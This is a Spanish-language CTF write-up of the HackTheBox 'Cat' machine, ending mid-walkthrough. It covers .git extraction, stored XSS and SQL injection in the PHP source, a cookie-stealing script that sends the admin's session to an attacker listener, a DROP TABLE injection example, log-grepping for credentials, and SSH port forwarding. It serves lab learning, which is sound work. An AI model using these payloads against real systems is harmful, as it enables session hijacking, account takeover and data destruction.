Cat robo de cookies
┌──(lass㉿lass)-[~/hackthebox/GitHack/cat.htb]
└─$ nmap 10.10.11.53
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-06 21:34 -05
Nmap scan report for cat.htb (10.10.11.53)
Host is up (1.0s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 5.18 seconds
Entramos al puerto 80

Comprobación de cookies
Incluso antes de iniciar sesión, notamos que la aplicación asigna cookies a nuestra sesión:

Enumeración de subdominios y directorios
Mientras tanto, buscamos subdominios pero no encontramos nada significativo. A continuación, realizamos la enumeración de directorios utilizando dirsearch
una lista de palabras predeterminada:
dirsearch -u http://cat.htb/
Durante la enumeración, descubrimos un directorio .git :

Extrayendo el repositorio .git
Para aprovechar esto, utilizamos una herramienta llamada git-dumper , que ayuda a automatizar la extracción de .git
repositorios. Esta herramienta verifica si el listado de directorios está habilitado y descarga recursivamente el .git
contenido para su posterior análisis.
Revisión del código fuente extraÃdo:

Después de extraer el .git
directorio, ahora tenemos acceso a una gran parte del código fuente. Esto nos permite comprender mejor la estructura de la aplicación y sus posibles vulnerabilidades.
Con esta información podemos proceder a analizar el código fuente e identificar debilidades explotables.
Identificación de vulnerabilidades
1. XSS almacenado en el registro (join.php)
Al revisar join.php
, notamos que una entrada de usuario no saneada se almacena directamente en la base de datos durante el registro:
// Registration process
// Vulnerable registration code
if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['registerForm'])) {
$username = $_GET['username']; // Unsanitized input
$email = $_GET['email']; // Unsanitized input
$stmt_insert = $pdo->prepare("INSERT INTO users (username, email, password) VALUES (:username, :email, :password)");
$stmt_insert->execute([':username' => $username, ':email' => $email, ':password' => $password]);
}
En este caso, los campos username
y no se desinfectan ni se validan antes de almacenarlos en la base de datos, lo que permite que un atacante inyecte cargas útiles XSS almacenadas .email
Ejemplo de ataque:
Un atacante podrÃa registrarse con el siguiente nombre de usuario:
Username: <script>alert(document.cookie)</script>
Email: attacker@evil.com
Dado que la entrada se almacena en la base de datos sin desinfección, cada vez que se muestra este nombre de usuario, se ejecuta el script malicioso, robando potencialmente cookies de otros usuarios.
Esto podrÃa aprovecharse para secuestrar sesiones o realizar otros ataques dentro de la aplicación.
2. Inyección SQL en accept_cat.php
Analizando accept_cat.php
, encontramos otra vulnerabilidad importante: Inyección SQL debido a la entrada directa del usuario en consultas SQL.

// VULNERABLE CODE:
$cat_name = $_POST['catName'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);
He aquà por qué esto es peligroso:
$cat_name
no se desinfecta antes de usarse en la consulta SQL.Se utiliza la concatenación de cadenas , lo que la hace propensa a ataques de inyección SQL.
exec()
se utiliza en lugar de declaraciones preparadas , dejando la aplicación expuesta.
Ejemplo de ataque:
Un atacante podrÃa enviar una solicitud POST con:
catName = '); DROP TABLE accepted_cats; --
Esto darÃa como resultado la siguiente ejecución de consulta SQL:
INSERT INTO accepted_cats (name) VALUES (''); DROP TABLE accepted_cats; --')
Si se ejecuta, esto eliminarÃa toda la accepted_cats
tabla , causando una pérdida importante de datos.
Pero aquÃ, para explotar esto, necesitamos obtener acceso al usuario Axel .

Eso es un problema, asà que intentemos obtener acceso a Axel (tal vez robando cookies a través del XSS almacenado que encontramos).
Pero ¿cómo vamos a hacer que Axel vea nuestro nombre de usuario para que pueda verlo?
Cuando lo revisé contest.php
, pudimos ver que Axel es el administrador.

Al explorar el admin.php
, se verifica si el usuario es Axel
.
Más adelante, si vamos más allá, podremos ver que él es el tipo que puede aceptar o rechazar el gato que presentamos para el concurso.
Cuando el administrador revisa, nuestra carga útil se muestra debido a esta lÃnea:
Básicamente, este es el flujo. ¡Ahora, ejecutémoslo!
Utilicé una carga útil básica ya que no es necesario omitir nada:
<script>document.location='http://10.10.16.9:1111/?c='+document.cookie;</script>
No olvides iniciar el servidor web:
python3 -m http.server 1111


Después de unos segundos, recibimos una cookie para el administrador: Axel

Vamos a usarlo. Ahora podemos ver el panel de administración



Vamos a intentar descifrar cada uno de ellos. En el caso de Rosa, se descifró el hash de la contraseña.

Entramos como rosa por ssh
rosa@cat:~$ ls
rosa@cat:~$ cd /home
rosa@cat:/home$ ls
axel git jobert rosa
rosa@cat:/home$ cd axel
-bash: cd: axel: Permission denied
rosa@cat:/home$

Hay un total de 4 usuarios en la máquina.
Después de un tiempo, al verificar el registro de Apache, podemos encontrar las credenciales de inicio de sesión del usuario Axel:
cat /var/log/apache2/access.log
grep -i "password" /var/log/apache2/access.log

axel : aNdZwgC4tI9gnVXv_e3Q
Al navegar por la máquina no encontré nada para rootear. Al verificar /var/mail/axel
, podemos ver el correo.

Miramos los puertos corriendo:
axel@cat:/var/mail$ netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:587 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:40567 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:41213 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:43487 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
axel@cat:/var/mail$
Podemos usar chisel o proxychains en esta ocasion use proxy:
ssh -L 3000:127.0.0.1:3000 axel@10.10.11.53

Si ves la parte inferior de la página, hay un número de versión.

¡Quizás busquemos algún CVE! Porque no hay repositorios ni nada.


Aquà se almacena xss, ahora si recuerdan lo del correo... las cosas empezaron a coincidir.
También tenga en cuenta en el correo que Rosa mencionó
Bien ahora iniciamos sesion como axel en el panel:

Last updated